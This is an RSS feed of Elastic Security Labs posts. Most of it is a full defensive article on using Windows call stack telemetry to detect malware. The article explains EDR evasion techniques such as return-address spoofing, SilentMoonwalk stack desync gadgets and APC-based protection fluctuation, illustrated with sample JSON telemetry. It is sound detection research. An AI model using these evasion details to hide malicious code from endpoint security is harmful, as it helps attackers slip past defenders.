<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Elastic Security Labs - Articles by John Uhlmann</title>
        <link>https://www.elastic.co/pt/security-labs</link>
        <description>Trusted security news &amp; research from the team at Elastic.</description>
        <lastBuildDate>Wed, 13 May 2026 06:43:20 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>Elastic Security Labs - Articles by John Uhlmann</title>
            <url>https://www.elastic.co/pt/security-labs/assets/security-labs-thumbnail.png</url>
            <link>https://www.elastic.co/pt/security-labs</link>
        </image>
        <copyright>© 2026. elasticsearch B.V. All Rights Reserved</copyright>
        <item>
            <title><![CDATA[Call Stacks: No More Free Passes For Malware]]></title>
            <link>https://www.elastic.co/pt/security-labs/call-stacks-no-more-free-passes-for-malware</link>
            <guid>call-stacks-no-more-free-passes-for-malware</guid>
            <pubDate>Thu, 12 Jun 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[We explore the immense value that call stacks bring to malware detection and why Elastic considers them to be vital Windows endpoint telemetry despite the architectural limitations.]]></description>
            <content:encoded><![CDATA[<h2>Call stacks provide the who</h2>
<p>One of Elastic’s key Windows endpoint telemetry differentiators is <strong>call stacks</strong>.</p>
<p>Most detections rely on <em>what</em> is happening — and this is often insufficient as most behaviours are dual purpose. With call stacks, we add the fine-grained ability to also determine <em>who</em> is performing the activity. This combination gives us an unparalleled ability to uncover malicious activity. By feeding this deep telemetry to <a href="https://www.elastic.co/pt/docs/reference/integrations/endpoint">Elastic Defend</a>’s on-host rule engine, we can quickly respond to emerging threats.</p>
<h2>Call stacks are a beautiful lie</h2>
<p>In computer science, a <a href="https://en.wikipedia.org/wiki/Stack_(abstract_data_type)">stack</a> is a last-in, first-out data structure. Similar to a stack of physical items, it is only possible to add or remove the top element. A <a href="https://www.elastic.co/pt/security-labs/peeling-back-the-curtain-with-call-stacks">call stack</a> is a stack that contains information about the currently active subroutine calls.</p>
<p>On x64 hosts, this call stack can only be accurately generated using execution tracing features on the CPU, such as <a href="https://www.blackhat.com/docs/us-16/materials/us-16-Pierce-Capturing-0days-With-PERFectly-Placed-Hardware-Traps-wp.pdf">Intel LBR</a>, Intel BTS, Intel AET, <a href="https://www.microsoft.com/en-us/research/wp-content/uploads/2017/01/griffin-asplos17.pdf">Intel IPT</a>, and <a href="https://lwn.net/Articles/824613/">x64 Architectural LBR</a>. These tracing features were designed for performance profiling and debugging purposes, but can be used in some security scenarios as well. However, what is more generally available is an <em>approximate</em> call stack that is recovered from a thread’s data stack via a mechanism called <a href="https://github.com/jdu2600/conference_talks/blob/main/2022-04-csidescbr-StackWalking.pdf">stack walking</a>.</p>
<p>In the <a href="https://codemachine.com/articles/x64_deep_dive.html">x64 architecture</a>, the “stack pointer register” (<code>rsp</code>) unsurprisingly points to a stack data structure, and there are efficient instructions to read and write the data on this stack. Additionally, the <code>call</code> instruction transfers control to a new subroutine but also saves a return address at the memory address referenced by the stack pointer. A <code>ret</code> instruction will later retrieve this saved address so that execution can return to where it left off. Functions in most programming languages are typically implemented using these two instructions, and both function parameters and local function variables will typically be allocated on this stack for performance. The portion of the stack related to a single function is called a stack frame.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/call-stacks-no-more-free-passes-for-malware/image2.png" alt="Windows x64 Calling Convention: Stack Frame - source https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/windows-x64-calling-convention-stack-frame" /></p>
<p>Stack walking is the recovery of just the return addresses from the heterogeneous data stored on the thread stack. Return addresses need to be stored somewhere for control flow — so stack walking co-opts this existing data to <strong>approximate</strong> a call stack. This is entirely suitable for most debugging and performance profiling scenarios, but slightly less helpful for security auditing. The main issue is that you can’t disassemble backwards. You can always determine the return address for a given call site, but not the converse. The best approach you can take is to check each of the 15 possible preceding instruction lengths and see which disassembles to exactly one call instruction. Even then, all you have recovered is a <em>previous</em> call site — not necessarily the exact <em>preceding</em> call site. This is because most compilers use <a href="https://en.wikipedia.org/wiki/Tail_call">tail call</a> optimisation to omit unnecessary stack frames. This creates <a href="https://youtu.be/9SqDY0wMmHE">annoying scenarios for security</a> like there being no guarantee that the Win32StartAddress function will be on the stack even though it was called.</p>
<p>So what we usually refer to as a call stack is actually a return address stack.</p>
<p>Malware authors use this ambiguity to lie. They either craft trampoline stack frames through legitimate modules to hide calls originating from malicious code, or they coerce stack walking into predicting different return addresses than those the CPU will execute. Of course, malware has always just been an attempt to lie, and antimalware is just the process of exposing that lie.</p>
<p>“... but at the length truth will out.”
- William Shakespeare, The Merchant of Venice, Act 2, Scene 2</p>
<h2>Making call stacks beautiful</h2>
<p>So far, a stack walk is just a list of numeric memory addresses. To make them useful for analysis we need to enrich them with context. (Note: we don’t currently include kernel stack frames.)</p>
<p>The minimum useful enrichment is to convert these addresses into offsets within modules (e.g. <code>ntdll.dll+0x15c9c4</code>). This would only catch the most egregious malware though — we can go deeper. The most important modules on Windows are those that implement the Native and Win32 APIs. The application binary interface for these APIs requires that the name of each function be included in the <a href="https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#the-edata-section-image-only">Export Directory</a> of the containing module. This is the information that Elastic currently uses to enrich its endpoint call stacks.</p>
<p>A more accurate enrichment could be achieved by using the public symbols (if available) <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/microsoft-public-symbols">hosted</a> on the vendor’s infrastructure (especially Microsoft) While this method offers deeper fidelity, it comes with higher operational costs and isn’t feasible for our air-gapped customers.</p>
<p>A rule of thumb for Microsoft kernel and native symbols is that the exported interface of each component has a capitalised prefix such as Ldr, Tp or Rtl. Private functions extend this prefix with a p. By default, private functions with external linkage are included in the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/public-and-private-symbols">public symbol table</a>. A very large offset might indicate a very large function, but it could also just indicate an unnamed function that you don’t have symbols for. A general guideline would be to consider any triple-digit and larger offsets in an exported function as likely belonging to another function.</p>
<table>
<thead>
<tr>
<th align="left">Call Stack</th>
<th align="left">Stack Walk</th>
<th align="left">Stack Walk Modules</th>
<th align="left">Stack Walk Exports (Elastic approach)</th>
<th align="left">Stack Walk Public Symbols</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">0x7ffb8eb9c9c2 <strong>0x12d383f0046</strong> 0x7ffb8eb1a9d8 0x7ffb8eb1aaf4 0x7ffb8ea535ff 0x7ffb8da5e8cf 0x7ffb8eaf14eb</td>
<td align="left">0x7ffb8eb9c9c4 0x7ffb8c3c71d6 0x7ffb8eb1a9ed 0x7ffb8eb1aaf9 0x7ffb8ea53604 0x7ffb8da5e8d4 0x7ffb8eaf14f1</td>
<td align="left">ntdll.dll+0x15c9c4 kernelbase.dll+0xc71d6 ntdll.dll+0xda9ed ntdll.dll+0xdaaf9 ntdll.dll+0x13604 kernel32.dll+0x2e8d4 ntdll.dll+0xb14f1</td>
<td align="left">ntdll.dll!NtProtectVirtualMemory+0x14 kernelbase.dll!VirtualProtect+0x36 ntdll.dll!RtlAddRefActivationContext+0x40d ntdll.dll!RtlAddRefActivationContext+0x519 ntdll.dll!RtlAcquireSRWLockExclusive+0x974 kernel32.dll!BaseThreadInitThunk+0x14 ntdll.dll!RtlUserThreadStart+0x21</td>
<td align="left">ntdll.dll!NtProtectVirtualMemory+0x14 kernelbase.dll!VirtualProtect+0x36 ntdll.dll!RtlTpTimerCallback+0x7d ntdll.dll!TppTimerpExecuteCallback+0xa9 ntdll.dll!TppWorkerThread+0x644 kernel32.dll!BaseThreadInitThunk+0x14 ntdll.dll!RtlUserThreadStart+0x21</td>
</tr>
</tbody>
</table>
<p>Comparison of Call Stack Enrichment Levels</p>
<p>In the above example, the shellcode at 0x12d383f0000 deliberately used a tail call so that its address wouldn’t appear in the stack walk. This lie-by-omission is apparent even with only the stalk walk. Elastic reports this with the <code>proxy_call</code> heuristic as the malware registered a timer callback function to proxy the call to <code>VirtualProtect</code> from a different thread.</p>
<h2><strong>Making call stacks powerful</strong></h2>
<p>The call stacks of the system calls that we monitor with <a href="https://www.elastic.co/pt/security-labs/kernel-etw-best-etw">Event Tracing for Windows</a> (ETW) have an expected structure. At the bottom of the stack is the thread StartAddress - typically ntdll.dll!RtlUserThreadStart. This is followed by the Win32 API thread entry - kernel32.dll!BaseThreadInitThunk and then the first user module. A user module is application code that is not part of the Win32 (or Native) API. This first user module should match the thread’s Win32StartAddress (unless that function used a tail call). More user modules will follow until the final user module makes a call into a Win32 API that makes a Native API call, which finally results in a system call to the kernel.</p>
<p>From a detection standpoint, the most important module in this call stack is the <a href="https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+call_stack_final_user_module&amp;type=code">final user module</a>. Elastic shows this module, including its hash and any code signatures. These details aid in alert triage, but more importantly, they drastically improve the granularity at which we can baseline the behaviours of legitimate software that sometimes behaves like malware. The more accurately we can baseline normal, the harder it is for malware to blend in.</p>
<pre><code class="language-json">{
  &quot;process.thread.Ext&quot;: {
    &quot;call_stack_summary&quot;: &quot;ntdll.dll|kernelbase.dll|file.dll|rundll32.exe|kernel32.dll|ntdll.dll&quot;,
    &quot;call_stack&quot;: [
      { &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\ntdll.dll!NtAllocateVirtualMemory+0x14&quot; }, /* Native API */
      { &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\kernelbase.dll!VirtualAllocExNuma+0x62&quot; }, /* Win32 API */
      { &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\kernelbase.dll!VirtualAllocEx+0x16&quot; }, /* Win32 API */
      {
        &quot;symbol_info&quot;: &quot;c:\\users\\user\\desktop\\file.dll+0x160d8b&quot;, /* final user module */
        &quot;callsite_trailing_bytes&quot;: &quot;488bf0488d4d88e8197ee2ff488bc64883c4685b5e5f415c415d415e415f5dc390909090905541574156415541545756534883ec58488dac2490000000488b71&quot;,
        &quot;callsite_leading_bytes&quot;: &quot;088b4d38894c2420488bca48894db8498bd0488955b0458bc1448945c4448b4d3044894dc0488d4d88e8e77de2ff488b4db8488b55b0448b45c4448b4dc0ffd6&quot;
      },
      { &quot;symbol_info&quot;: &quot;c:\\users\\user\\desktop\\file.dll+0x7b429&quot; },
      { &quot;symbol_info&quot;: &quot;c:\\users\\user\\desktop\\file.dll+0x44a9&quot; },
      { &quot;symbol_info&quot;: &quot;c:\\users\\user\\desktop\\file.dll+0x5f58&quot; },
      { &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\rundll32.exe+0x3bcf&quot; },
      { &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\rundll32.exe+0x6309&quot; }, /* first user module - typically the ETHREAD.Win32StartAddress module */
      { &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\kernel32.dll!BaseThreadInitThunk+0x14&quot; }, /* Win32 API */
      { &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\ntdll.dll!RtlUserThreadStart+0x21&quot; /* Native API - the ETHREAD.StartAddress module */
      }
    ],
    &quot;call_stack_final_user_module&quot;: {
      &quot;path&quot;: &quot;c:\\users\\user\\desktop\\file.dll&quot;,
      &quot;code_signature&quot;: [ { &quot;exists&quot;: false } ],
      &quot;name&quot;: &quot;file.dll&quot;,
      &quot;hash&quot;: { &quot;sha256&quot;: &quot;0240cc89d4a76bafa9dcdccd831a263bf715af53e46cac0b0abca8116122d242&quot; }
    }
  }
}
</code></pre>
<p>Sample enriched call stack</p>
<p>Call stack final user module enrichments:</p>
<table>
<thead>
<tr>
<th align="left">name</th>
<th align="left">The file name of the call_stack_final_user_module. Can also be &quot;Unbacked&quot; indicating private executable memory, or &quot;Undetermined&quot; indicating a suspicious call stack.</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">path</td>
<td align="left">The file path of the call_stack_final_user_module.</td>
</tr>
<tr>
<td align="left">hash.sha256</td>
<td align="left">The sha256 of the call_stack_final_user_module, or the protection_provenance module if any.</td>
</tr>
<tr>
<td align="left">code_signature</td>
<td align="left">Code signature of the call_stack_final_user_module, or the protection_provenance module if any.</td>
</tr>
<tr>
<td align="left">allocation_private_bytes</td>
<td align="left">The number of bytes in this memory region that are both +X and non-shareable. Non-zero values can indicate code hooking, patching, or hollowing.</td>
</tr>
<tr>
<td align="left">protection</td>
<td align="left">The memory protection for the acting region of pages is included if it is not RX. Corresponds to MEMORY_BASIC_INFORMATION.Protect.</td>
</tr>
<tr>
<td align="left">protection_provenance</td>
<td align="left">The name of the memory region that caused the last modification of the protection of this page. &quot;Unbacked&quot; may indicate shellcode.</td>
</tr>
<tr>
<td align="left">protection_provenance_path</td>
<td align="left">The path of the module that caused the last modification of the protection of this page.</td>
</tr>
<tr>
<td align="left">reason</td>
<td align="left">The anomalous call_stack_summary that led to an &quot;Undetermined&quot; protection_provenance.</td>
</tr>
</tbody>
</table>
<h2>A quick call stack glossary</h2>
<p>When examining call stacks, there are some Native API functions that are helpful to be familiar with. Ken Johnson, now of Microsoft, has provided us with a <a href="http://www.nynaeve.net/?p=200">catalog of NTDLL kernel mode to user mode callbacks</a> to get us started. Seriously, you should pause here and go read that first.</p>
<p>We met RtlUserThreadStart earlier. Both it and its sibling RtlUserFiberStart should only ever appear at the bottom of a call stack. These are the entrypoints for user threads and <a href="https://learn.microsoft.com/en-us/windows/win32/procthread/fibers">fibers</a>, respectively. The first instruction on every thread, however, is actually LdrInitializeThunk. After performing the user-mode component of thread initialisation (and process, if required), this function transfers control to the entrypoint via NtContinue, which updates the instruction pointer directly. This means that it does not appear in any future stack walks.</p>
<p>So if you see a call stack that includes LdrInitializeThunk then this means you are at the very start of a thread’s execution. This is where the application compatibility <a href="https://techcommunity.microsoft.com/blog/askperf/demystifying-shims---or---using-the-app-compat-toolkit-to-make-your-old-stuff-wo/374947">Shim Engine</a> operates, where hook-based security products prefer to install themselves, and where malware tries to gain execution <em>before</em> those other security products. <a href="https://malwaretech.com/2024/02/bypassing-edrs-with-edr-preload.html">Marcus Hutchins</a> and <a href="https://www.outflank.nl/blog/2024/10/15/introducing-early-cascade-injection-from-windows-process-creation-to-stealthy-injection/">Guido Miggelenbrink</a> have both written excellent blogs on this topic. This startup race does not exist for security products that utilise <a href="https://www.elastic.co/pt/security-labs/kernel-etw-best-etw">kernel ETW</a> for telemetry.</p>
<pre><code class="language-json">{
  &quot;process.thread.Ext&quot;: {
    &quot;call_stack_summary&quot;: &quot;ntdll.dll|file.exe|ntdll.dll&quot;,
    &quot;call_stack&quot;: [
      { &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\ntdll.dll!ZwProtectVirtualMemory+0x14&quot; },
      { &quot;symbol_info&quot;: &quot;c:\\users\\user\\desktop\\file.exe+0x1bac8&quot; },
      { &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\ntdll.dll!RtlAnsiStringToUnicodeString+0x3cb&quot; },
      { &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\ntdll.dll!LdrInitShimEngineDynamic+0x394d&quot; },
      { &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\ntdll.dll!LdrInitializeThunk+0x1db&quot; },
      { &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\ntdll.dll!LdrInitializeThunk+0x63&quot; },
      { &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\ntdll.dll!LdrInitializeThunk+0xe&quot; }
    ],
    &quot;call_stack_final_user_module&quot;: {
      &quot;path&quot;: &quot;c:\\users\\user\\desktop\\file.exe&quot;,
      &quot;code_signature&quot;: [ { &quot;exists&quot;: false } ],
      &quot;name&quot;: &quot;file.exe&quot;,
      &quot;hash&quot;: { &quot;sha256&quot;: &quot;a59a7b56f695845ce185ddc5210bcabce1fff909bac3842c2fb325c60db15df7&quot; }
    }
  }
}
</code></pre>
<p>Pre-entrypoint execution example</p>
<p>The next pair is KiUserExceptionDispatcher and KiRaiseUserExceptionDispatcher. The kernel uses the former to pass execution to a registered user-mode structured exception handler after a user-mode exception condition has occurred. The latter also raises an exception, but on behalf of the kernel instead. This second variant is usually only caught by debuggers, including <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/application-verifier">Application Verifier</a>, and helps identify when user-mode code is not sufficiently checking return codes from syscalls. These functions will usually be seen in call stacks related to application-specific crash handling or <a href="https://learn.microsoft.com/en-us/windows/win32/wer/windows-error-reporting">Windows Error Reporting</a>. However, sometimes malware will use it as a pseudo-breakpoint — for example, if they want to <a href="https://github.com/elastic/protections-artifacts/blob/3537aa4ed9c7ed9dcd04da2efafbad38af47a017/behavior/rules/windows/defense_evasion_virtualprotect_via_vectored_exception_handling.toml">fluctuate memory protections</a> to rehide their shellcode immediately after making a system call.</p>
<pre><code class="language-json">{
  &quot;process.thread.Ext&quot;: {
    &quot;call_stack_summary&quot;: &quot;ntdll.dll|file.exe|ntdll.dll|file.exe|kernel32.dll|ntdll.dll&quot;,
    &quot;call_stack&quot;: [
      {
        &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\ntdll.dll!ZwProtectVirtualMemory+0x14&quot;,
        &quot;protection_provenance&quot;: &quot;file.exe&quot;, /* another vendor's hooks were unhooked */
        &quot;allocation_private_bytes&quot;: 8192
      },
      { &quot;symbol_info&quot;: &quot;c:\\users\\user\\desktop\\file.exe+0xd99c&quot; },
      { &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\ntdll.dll!RtlInitializeCriticalSectionAndSpinCount+0x1c6&quot; },
      { &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\ntdll.dll!RtlWalkFrameChain+0x1119&quot; },
      { &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\ntdll.dll!KiUserExceptionDispatcher+0x2e&quot; },
      { &quot;symbol_info&quot;: &quot;c:\\users\\user\\desktop\\file.exe+0x12612&quot; },
      { &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\kernel32.dll!BaseThreadInitThunk+0x14&quot; },
      { &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\ntdll.dll!RtlUserThreadStart+0x21&quot; }
    ],
    &quot;call_stack_final_user_module&quot;: {
      &quot;name&quot;: &quot;file.exe&quot;,
      &quot;path&quot;: &quot;c:\\users\\user\\desktop\\file.exe&quot;,
      &quot;code_signature&quot;: [ { &quot;exists&quot;: false }],
      &quot;hash&quot;:   { &quot;sha256&quot;: &quot;0e5a62c0bd9f4596501032700bb528646d6810b16d785498f23ef81c18683c74&quot; }
    }
  }
}
</code></pre>
<p>Protection fluctuation via exception handler example</p>
<p>Next is KiUserApcDispatcher, which is used to deliver <a href="https://learn.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls">user APCs</a>. These are one of the favourite tools of malware authors, as Microsoft only provides limited visibility into its use.</p>
<pre><code class="language-json">{
  &quot;process.thread.Ext&quot;: {
    &quot;call_stack_summary&quot;: &quot;ntdll.dll|kernelbase.dll|ntdll.dll|kernelbase.dll|cronos.exe&quot;,
    &quot;call_stack&quot;: [
      { &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\ntdll.dll!NtProtectVirtualMemory+0x14&quot; },
      { &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\kernelbase.dll!VirtualProtect+0x36&quot; }, /* tail call */
      { &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\ntdll.dll!KiUserApcDispatcher+0x2e&quot; },
      { &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\ntdll.dll!ZwDelayExecution+0x14&quot; },
      { &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\kernelbase.dll!SleepEx+0x9e&quot; },
      {
        &quot;symbol_info&quot;: &quot;c:\\users\\user\\desktop\\file.exe+0x107d&quot;,
        &quot;allocation_private_bytes&quot;: 147456, /* stomped */
        &quot;protection&quot;: &quot;RW-&quot;, /* fluctuation */
        &quot;protection_provenance&quot;: &quot;Undetermined&quot;, /* proxied call */
        &quot;callsite_leading_bytes&quot;: &quot;010000004152524c8d520141524883ec284150415141baffffffff41525141ba010000004152524c8d520141524883ec284150b9ffffffffba0100000041ffe1&quot;,
        &quot;callsite_trailing_bytes&quot;: &quot;4883c428c3cccccccccccccccccccccccccccc894c240857b820190000e8a10c0000482be0488b052fd101004833c44889842410190000488d84243014000048&quot;
      }
    ],
    &quot;call_stack_final_user_module&quot;: {
      &quot;name&quot;: &quot;Undetermined&quot;,
      &quot;reason&quot;: &quot;ntdll.dll|kernelbase.dll|ntdll.dll|kernelbase.dll|file.exe&quot;
    }
  }
}
</code></pre>
<p>Protection fluctuation via APC example</p>
<p>The Windows window manager is implemented in a kernel-mode device driver (win32k.sys). Mostly. Sometimes the window manager needs to do something from user-mode, and KiUserCallbackDispatcher is the mechanism to achieve that. It’s basically a reverse syscall that targets user32.dll functions. Overwriting an entry in a process’s <a href="https://attack.mitre.org/techniques/T1574/013/">KernelCallbackTable</a> is an easy way to hijack a GUI thread, so any other module following this call is suspicious.</p>
<p>Knowledge of the purpose of each of these kernel-mode to user-mode entry points greatly assists in determining if a given call stack is natural or if it has been misappropriated to achieve alternative goals.</p>
<h2>Making call stacks understandable</h2>
<p>To aid understandability, we also tag the event with various process.Ext.api.behaviors that we identify. These behaviours aren’t necessarily malicious, but they highlight aspects that are relevant to alert triage or threat hunting. For call stacks, these include:</p>
<table>
<thead>
<tr>
<th align="left">native_api</th>
<th align="left">A call was made directly to the Native API rather than the Win32 API.</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">direct_syscall</td>
<td align="left">A syscall instruction originated outside of the Native API layer.</td>
</tr>
<tr>
<td align="left">proxy_call</td>
<td align="left">The call stack may indicate a proxied API call to mask the true source.</td>
</tr>
<tr>
<td align="left">shellcode</td>
<td align="left">Second generation executable non-image memory called a sensitive API.</td>
</tr>
<tr>
<td align="left">image_indirect_call</td>
<td align="left">An entry in the call stack was preceded by a call to a dynamically resolved function.</td>
</tr>
<tr>
<td align="left">image_rop</td>
<td align="left">No call instruction preceded an entry in the call stack.</td>
</tr>
<tr>
<td align="left">image_rwx</td>
<td align="left">An entry in the call stack is writable. Code should be read-only.</td>
</tr>
<tr>
<td align="left">unbacked_rwx</td>
<td align="left">An entry in the call stack is non-image and writable. Even JIT code should be read-only.</td>
</tr>
<tr>
<td align="left">truncated_stack</td>
<td align="left">The call stack seems to be unexpectedly truncated. This may be due to malicious tampering.</td>
</tr>
</tbody>
</table>
<p>In some contexts, these behaviours alone may be sufficient to detect malware.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/call-stacks-no-more-free-passes-for-malware/image1.png" alt="SilentMoonwalk variant alerts" /></p>
<h2>Spoofing — bypass or liability?</h2>
<p>Return address spoofing has been a staple <a href="https://www.unknowncheats.me/forum/assembly/88648-spoofing-return-address.html">game hacking</a> and <a href="https://www.welivesecurity.com/2013/08/26/nymaim-obfuscation-chronicles/">malware</a> technique for many, many years. This simple trick allows injected code to borrow the reputation of a legitimate module with few consequences. The goal of deep call stack inspection and behaviour baselines is to stop giving malware this free pass.</p>
<p>Offensive researchers have been assisting this effort by looking into approaches for full call stack spoofing. Most notably:</p>
<ul>
<li><a href="https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs">Spoofing Call Stacks To Confuse EDRs</a> by William Burgess</li>
<li><a href="https://klezvirus.github.io/RedTeaming/AV_Evasion/StackSpoofing/">SilentMoonwalk: Implementing a dynamic Call Stack Spoofer</a> by Alessandro Magnosi, Arash Parsa and Athanasios Tserpelis</li>
</ul>
<p><a href="https://media.defcon.org/DEF%20CON%2031/DEF%20CON%2031%20presentations/Alessandro%20klezVirus%20Magnosi%20Arash%20waldoirc%20Parsa%20Athanasios%20trickster0%20Tserpelis%20-%20StackMoonwalk%20A%20Novel%20approach%20to%20stack%20spoofing%20on%20Windows%20x64.pdf">SilentMoonwalk</a>, in addition to being superb offensive research, is an excellent example of how lying can get you into twice the amount of trouble — but only if you get caught. Many Defense Evasion techniques rely on security-by-obscurity — and once exposed by researchers, they can become a liability. In this case, the research included advice on the detection opportunities <strong>introduced</strong> by the evasion attempt.</p>
<pre><code class="language-json">{
  &quot;process.thread.Ext&quot;: {
    &quot;call_stack_summary&quot;: &quot;ntdll.dll|kernelbase.dll|kernel32.dll|ntdll.dll&quot;,
    &quot;call_stack&quot;: [
      { &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\ntdll.dll!NtAllocateVirtualMemory+0x14&quot; },
      { &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\kernelbase.dll!VirtualAlloc+0x48&quot; },
      {
        &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\kernelbase.dll!CreatePrivateObjectSecurity+0x31&quot;,
        /* 4883c438 stack desync gadget - add rsp 0x38 */
        &quot;callsite_trailing_bytes&quot;: &quot;4883c438c3cccccccccccccccccccc48895c241057498bd8448bd2488bf94885c90f84660609004885db0f845d060900418bd14585c97411418bc14803c383ea&quot;,
        &quot;callsite_leading_bytes&quot;: &quot;cccccccccccccccccccccccccccccc4883ec38488b4424684889442428488b442460488944242048ff15d9b21b000f1f44000085c00f8830300900b801000000&quot;
      },
      { &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\kernelbase.dll!Internal_EnumSystemLocales+0x406&quot; },
      { &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\kernelbase.dll!SystemTimeToTzSpecificLocalTimeEx+0x2d1&quot; },
      { &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\kernelbase.dll!WaitForMultipleObjectsEx+0x982&quot; },
      { &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\kernel32.dll!BaseThreadInitThunk+0x14&quot; },
      { &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\ntdll.dll!RtlUserThreadStart+0x21&quot; }
    ],
    &quot;call_stack_final_user_module&quot;: {
      &quot;name&quot;: &quot;Undetermined&quot;, /* gadget module resulted in suspicious call stack */
      &quot;reason&quot;: &quot;ntdll.dll|kernelbase.dll|kernel32.dll|ntdll.dll&quot;
    }
  }
}
</code></pre>
<p>SilentMoonwalk call stack example</p>
<p>A standard technique for unearthing hidden artifacts is to enumerate them using multiple techniques and compare the results for discrepancies. This is <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/rootkit-revealer#how-rootkitrevealer-works">how RootkitRevealer works</a>. This approach was also used in <a href="https://github.com/jdu2600/conference_talks/blob/main/2023-09-bsidescbr-GetInjectedThreadEx.pdf">Get-InjectedThreadEx.exe</a>, which <a href="https://github.com/jdu2600/Get-InjectedThreadEx/blob/edbff70fc286a3f1c32c6249b3b913d84d70259b/Get-InjectedThreadEx.cpp#L419-L445">climbs up the thread stack</a> as well as walking down it.</p>
<p>In certain circumstances, we may be able to recover a call stack in two ways. If there are discrepancies, then you will see the less reliable call stack emitted as call_stack_summary_original.</p>
<pre><code class="language-json">{
  &quot;process.thread.Ext&quot;: {
    &quot;call_stack_summary&quot;: &quot;ntdll.dll&quot;,
    &quot;call_stack_summary_original&quot;: &quot;ntdll.dll|kernelbase.dll|version.dll|kernel32.dll|ntdll.dll&quot;,
    &quot;call_stack&quot;: [
      { &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\ntdll.dll!NtContinue+0x12&quot; },
      { &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\ntdll.dll!LdrInitializeThunk+0x13&quot; }
    ],
    &quot;call_stack_final_user_module&quot;: {
      &quot;name&quot;: &quot;Undetermined&quot;,
      &quot;reason&quot;: &quot;ntdll.dll&quot;
    }
  }
}
</code></pre>
<p>Call Stack summary original example</p>
<h2>Call Stacks are for everyone</h2>
<p>By default you will only find call stacks in our alerts, but this is configurable through advanced policy.</p>
<table>
<thead>
<tr>
<th align="left">events.callstacks.emit_in_events</th>
<th align="left">If set, call stacks will be included in regular events where they are collected. Otherwise, they are only included in events that trigger behavioral protection rules. Note that setting this may significantly increase data volumes. Default: false</th>
</tr>
</thead>
</table>
<p>Further insights into Windows call stacks is available in the following Elastic Security Labs articles:</p>
<ul>
<li><a href="https://www.elastic.co/pt/security-labs/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks">Upping the Ante: Detecting In-Memory Threats with Kernel Call Stacks</a></li>
<li><a href="https://www.elastic.co/pt/security-labs/peeling-back-the-curtain-with-call-stacks">Peeling back the curtain with call stacks</a></li>
<li><a href="https://www.elastic.co/pt/security-labs/doubling-down-etw-callstacks">Doubling Down: Detecting In-Memory Threats with Kernel ETW Call Stacks</a></li>
<li><a href="https://www.elastic.co/pt/security-labs/itw-windows-lpe-0days-insights-and-detection-strategies">In-the-Wild Windows LPE 0-days: Insights &amp; Detection Strategies</a></li>
<li><a href="https://www.elastic.co/pt/security-labs/misbehaving-modalities">Misbehaving Modalities: Detecting Tools, not Techniques</a></li>
<li><a href="https://www.elastic.co/pt/security-labs/finding-truth-in-the-shadows">Finding Truth in the Shadows</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/call-stacks-no-more-free-passes-for-malware/Security Labs Images 33.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Misbehaving Modalities: Detecting Tools, Not Techniques]]></title>
            <link>https://www.elastic.co/pt/security-labs/misbehaving-modalities</link>
            <guid>misbehaving-modalities</guid>
            <pubDate>Thu, 15 May 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[We explore the concept of Execution Modality and how modality-focused detections can complement behaviour-focused ones.]]></description>
            <content:encoded><![CDATA[<h2><strong>What is Execution Modality?</strong></h2>
